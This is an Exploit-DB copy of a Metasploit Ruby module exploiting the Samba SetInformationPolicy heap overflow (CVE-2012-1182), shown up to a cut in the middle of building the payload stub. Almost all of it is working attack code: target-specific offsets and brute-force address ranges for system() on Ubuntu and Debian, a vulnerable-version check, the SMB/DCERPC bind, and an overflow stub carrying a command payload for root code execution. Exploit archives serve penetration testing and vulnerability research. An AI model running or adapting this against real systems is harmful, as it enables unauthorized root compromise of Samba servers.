Exploit-DB #21850
Description: Samba 3.4.16/3.5.14/3.6.4 - SetInformationPolicy AuditEventsInfo Heap Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
			'Description'    => %q{
					This module triggers a vulnerability in the LSA RPC service of the Samba daemon
				because of an error on the PIDL auto-generated code. Making a specially crafted
				call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
				trigger a heap overflow and finally execute arbitrary code with root privileges.

				The module uses brute force to guess the system() address and redirect flow there
				in order to bypass NX. The start and stop addresses for brute forcing have been
				calculated empirically. On the other hand the module provides the StartBrute and
				StopBrute which allow the user to configure his own addresses.
			},
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'blasty', # Exploit
					'mephos', # Debian Squeeze target
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2012-1182'],
					['OSVDB', '81303'],
					['BID', '52973'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 811,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic bash telnet python perl'
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
					['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
						{
							'Offset' => 0x11c0,
							'Bruteforce' =>
							{
								# The start for the final version should be 0xb20 aligned, and then step 0x1000.
								'Start' => { 'Ret' => 0x00230b20 },
								'Stop'  => { 'Ret' => 0x22a00b20 },
								'Step'  => 0x1000
							}
						}
					],
					['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
						{
							'Offset' => 0x11c0,
							'Bruteforce' =>
							{
								# The start should be 0x950 aligned, and then step 0x1000.
								'Start' => { 'Ret' => 0x00230950 },
								'Stop'  => { 'Ret' => 0x22a00950 },
								'Step'  => 0x1000
							}
						}
					],
					['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
						{
							'Offset' => 0x11c0,
							'Bruteforce' =>
							{
								# The start should be 0x680 aligned, and then step 0x1000.
								'Start' => { 'Ret' => 0x00230680 },
								'Stop'  => { 'Ret' => 0x22a00680 },
								'Step'  => 0x1000
							}
						}
					],
					['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
						{
							'Offset' => 0x11c0,
							'Bruteforce' =>
							{
								# The start should be 0x680 aligned, and then step 0x1000.
								'Start' => { 'Ret' => 0xb6aaa1b0 },
								'Stop'  => { 'Ret' => 0xb6ce91b0 },
								'Step'  => 0x1000
							}
						}
					]
				],
			'DisclosureDate' => 'Apr 10 2012',
			'DefaultTarget'  => 0
			))

		register_options([
			OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
			OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
		], self.class)

	end

	def exploit
		if target.bruteforce?
			bf = target.bruteforce

			if datastore['StartBrute'] and datastore['StartBrute'] > 0
				bf.start_addresses['Ret'] = datastore['StartBrute']
			end

			if datastore['StopBrute'] and datastore['StopBrute'] > 0
				bf.stop_addresses['Ret'] = datastore['StopBrute']
			end

			if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
				raise ArgumentError, "StartBrute should not be larger than StopBrute"
			end
		end
		super
	end

	def check
		begin
			connect()
			smb_login()
			disconnect()

			version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
			minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
			print_status("Version found: #{version}")

			return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
			return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
			return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

			return Exploit::CheckCode::Safe

		rescue ::Exception
			return CheckCode::Unknown
		end
	end

	def brute_exploit(target_addrs)

		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
		datastore['DCERPC::fake_bind_multi'] = false
		datastore['DCERPC::max_frag_size'] = 4248

		pipe = "lsarpc"

		print_status("Connecting to the SMB service...")
		connect()
		print_status("Login to the SMB service...")
		smb_login()

		handle = dcerpc_handle('12[PII_REDACTED]-abcd-ef00[PII_REDACTED]ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		stub = "X" * 20

		cmd = ";;;;" # padding
		cmd << "#{payload.encoded}\x00" # system argument
		tmp = cmd * (816/cmd.length)
		tmp << "\x00"*(816-tmp.length)

		stub << NDR.short(2)     # level
		stub << NDR.short(2)     # level 2
		stub << NDR.long(1)      # auditing mode
		stub << NDR.long(1)      # ptr
		stub << NDR.long(100000) # r-> count
		stub << NDR.long(20)     # array size
		stub << NDR.long(0)
		stub << NDR.l